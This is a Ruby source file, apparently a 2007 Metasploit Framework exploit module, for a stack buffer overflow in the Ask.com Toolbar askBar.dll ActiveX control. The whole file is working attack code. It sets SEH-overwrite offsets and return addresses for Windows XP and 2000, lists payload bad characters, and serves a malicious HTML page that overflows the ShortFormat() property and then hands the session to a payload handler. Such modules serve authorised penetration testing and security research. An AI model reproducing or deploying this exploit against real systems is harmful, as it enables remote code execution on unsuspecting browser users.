99 lines
2.6 KiB
Ruby
99 lines
2.6 KiB
Ruby
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##
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# $Id: ask_shortformat.rb 4953 2007-05-21 20:51:13Z hdm $
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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module Msf
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class Exploits::Windows::Browser::Ask_Shortformat < Msf::Exploit::Remote
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include Exploit::Remote::HttpServer::HTML
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include Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Ask.com Toolbar askBar.dll ActiveX Control Buffer Overflow',
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'Description' => %q{
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This module exploits a stack overflow in Ask.com Toolbar 4.0.2.53.
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An attacker may be able to excute arbitrary code by sending an overly
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long string to the "ShortFormat()" method in askbar.dll.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'MC' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'URL', 'http://wslabi.com/wabisabilabi/showBidInfo.do?code=ZD-00000148' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 800,
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'BadChars' => "\x00\x09\x0a\x0d'\\",
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'PrepenEncoder' => "\x81\xc4\x54\xf2\xff\xff",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP SP0/SP1 Pro English', { 'Offset' => 2876, 'Ret' => 0x71aa32ad } ],
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[ 'Windows 2000 Pro English ALL', { 'Offset' => 1716, 'Ret' => 0x75022ac4 } ],
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],
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'DisclosureDate' => 'Sep 24 2007',
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'DefaultTarget' => 0))
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end
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def autofilter
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false
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end
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def check_dependencies
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use_zlib
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end
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def on_request_uri(cli, request)
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil)
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# Randomize some things
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vname = rand_text_alpha(rand(100) + 1)
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strname = rand_text_alpha(rand(100) + 1)
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# Set the exploit buffer
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filler = rand_text_alpha(target['Offset'])
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seh = generate_seh_payload(target.ret)
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sploit = filler + seh + rand_text_alpha(payload.encoded.length)
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# Build out the message
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content = %Q|
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<html>
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<object classid='clsid:5A074B2B-F830-49DE-A31B-5BB9D7F6B407' id='#{vname}'></object>
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<script language='javascript'>
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#{strname} = new String('#{sploit}');
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#{vname}.ShortFormat = #{strname}
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</script>
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</html>
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print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
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# Transmit the response to the client
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send_response_html(cli, content)
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# Handle the payload
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handler(cli)
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end
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end
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end
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